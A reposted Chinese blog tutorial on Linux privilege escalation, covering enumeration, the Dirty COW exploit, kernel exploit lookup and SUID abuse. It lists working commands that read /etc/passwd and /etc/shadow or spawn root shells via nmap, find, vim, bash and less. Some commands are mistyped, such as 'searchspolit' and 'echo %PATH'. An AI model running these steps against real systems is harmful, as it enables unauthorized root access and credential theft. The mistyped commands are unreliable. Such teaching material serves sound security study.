Linux提權小結


原文鏈接:http://zone.secevery.com/article/1104

Linux提權
1.信息收集
2.臟牛漏洞提權
3.內核漏洞exp提權
4.SUID提權
 
0x00 基礎信息收集
(1):內核,操作系統和設備信息

uname -a    打印所有可用的系統信息
uname -r    內核版本
uname -n    系統主機名。
uname -m    查看系統內核架構(64位/32位)
hostname    系統主機名
cat /proc/version    內核信息
cat /etc/*-release   分發信息
cat /etc/issue       分發信息
cat /proc/cpuinfo    CPU信息


(2)用戶和群組

cat /etc/passwd     列出系統上的所有用戶
cat /etc/group      列出系統上的所有組
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'      列出所有的超級用戶賬戶
whoami              查看當前用戶
w                   誰目前已登錄,他們正在做什么
last                最后登錄用戶的列表
lastlog             所有用戶上次登錄的信息
lastlog –u %username%  有關指定用戶上次登錄的信息
lastlog |grep -v "Never"  以前登錄用戶的完


(3)用戶和權限信息:

whoami        當前用戶名
id            當前用戶信息
cat /etc/sudoers  誰被允許以root身份執行
sudo -l       當前用戶可以以root身份執行操作

(4)環境信息
 

env        顯示環境變量
set        現實環境變量
echo %PATH 路徑信息
history    顯示當前用戶的歷史命令記錄
pwd        輸出工作目錄
cat /etc/profile   顯示默認系統變量
cat /etc/shells    顯示可用的shell

更多 --> https://www.rebootuser.com/?p=1623
 
 
0x01臟牛漏洞本地提權
漏洞描述:
漏洞編號:CVE-2016-5195
漏洞名稱:臟牛(Dirty COW)
漏洞危害:低權限用戶利用該漏洞技術可以在全版本上實現本地提權
影響范圍:Linux kernel >=2.6.22  並且Android也受影響
臟牛漏洞名稱的來源:


Linux內核的內存子系統在處理寫時拷貝(Copy-on-Write)時存在條件競爭漏洞,導致可以破壞私有只讀內存映射。
一個低權限的本地用戶能夠利用此漏洞獲取其他只讀內存映射的寫權限,有可能進一步導致提權漏洞


漏洞原理:


該漏洞具體為,get_user_page內核函數在處理Copy-on-Write(以下使用COW表示)的過程中,可能產出競態條件造成COW過程被破壞,導致出現寫數據到進程地址空間內只讀內存區域的機會。修改su或者passwd程序就可以達到root的目的。


漏洞復現過程:
靶機:CentOS 6.5
1.查看linux內核版本是否大於等於2.6.22

uname -a

 

11.png



2.上傳POC至 /tmp 目錄下(tmp目錄具有較高權限)
 

1.png



3.對dirty.c進行gcc編譯生成一個可執行文件

gcc -pthread dirty.c -o dirty -lcrypt
 ***       
 -pthread會附加一個宏定義-D_REENTRANT該宏會導致libc頭文件選擇那些thread-safe的實現
 -o  為編譯后輸出的文件名
 ***



2.png


4.運行dirty可執行文件進行本地提權

./dirty passwd

這個漏洞利用的過程大概要三分鍾,耐心等待之后即可出現

3.png


此時切換到firefart用戶,密碼為123456

4.png


執行id命令后可以看到已經為root用戶了,成功提權。
參考:http://zone.secevery.com/article/290

----------------------------------------
 
0x02內核漏洞提權

果linux內核版本小於2.6.22或者臟牛無法成功時,我們需要查看其他版本的內核漏洞。這時我們就用到了kali linux,自身所擁有的searchspolit可以幫助我們查看各種linux發行版本的漏洞。而searchs
polit的使用也很簡單,只需要在后面跟上限定條件即可。
查看linux漏洞

searchspolit linux

 

5.png


查看centos6版本漏洞

searchspolit centos 6

 

6.png


但我們通常查看指定內核版本和linux版本。如:

searchspolit centos 7 kernel 3.10

 

7.png


 
所限定的條件越多,當然可利用的漏洞也就越少。我們選中其中符合靶機環境的漏洞后進行查看。
利用leafpad命令查看文檔內容並且復制到靶機上生成相應的文件。(漏洞的利用雖然是英文,但是一定要看一下使用方法)
 

leafpad /usr/share/exploitdb/exploits/linux/dos/41350.c

 

8.png


參考:https://xz.aliyun.com/t/2860
-----------------------------------------------------
0x03 SUID提權
SUID概念:


SUID(設置用戶ID)是賦予文件的一種權限,它會出現在文件擁有者權限的執行位上,具有這種權限的文件會在其執行時,使調用者暫時獲得該文件擁有者的權限。那么,為什么要給Linux二進制文件設置這種權限呢?其實原因有很多,例如,程序ping需要root權限才能打開網絡套接字,但執行該程序的用戶通常都是由普通用戶,來驗證與其他主機的連通性


SUID提權:


那么什么是suid提權呢?我理解的就是有個文件,它有s標志,並且他輸入root,那么我們運行這個程序就可以有了root的權限,並且這個程序還得能執行命令,不然沒什么用處,那么我們就能從普通用戶提升到了root權限了。


首先在本地查找符合條件的文件,有以下三個命令

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

 

01.png


列出來的所有文件都是以root用戶權限來執行的,接下來找到可以提權的文件
--------------------------------------------------------
常用的可用於suid提權的文件

Nmap
Vim
find
Bash
More
Less
Nano
cp


namp
較舊版本的Nmap(2.02至5.21)帶有交互模式,從而允許用戶執行shell命令。由於Nmap位於上面使用root權限執行的二進制文件列表中,因此可以使用交互式控制台來運行具有相同權限的shell。)
可以使用下命令進入namp交互模式

nmap --interactive

執行命令后會返回一個shell

nmap> !sh
sh-3.2# whoami
root

 

02.png


而在Metasploit中也有一個模塊可以通過SUID Nmap進行提權
 

exploit/unix/local/setuid_nmap

find
如果find以SUID權限運行,所有通過find執行的命令都會以root權限運行

touch test
find test -exec whoami \;


vim
Vim的主要用途是用作文本編輯器。 但是,如果以SUID運行,它將繼承root用戶的權限,因此可以讀取系統上的所有文件

vim /etc/shadow

 

03.png


 
bash
以下命令將以root身份打開一個bash shell

bash -p
bash-3.2# id
uid=500(cow) gid=500(cow) euid=0(root) groups=500(cow)


less
程序less也可以執行提權后的shell。
 

less /etc/passwd
!/bin/sh

參考:https://www.anquanke.com/post/id/86979


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM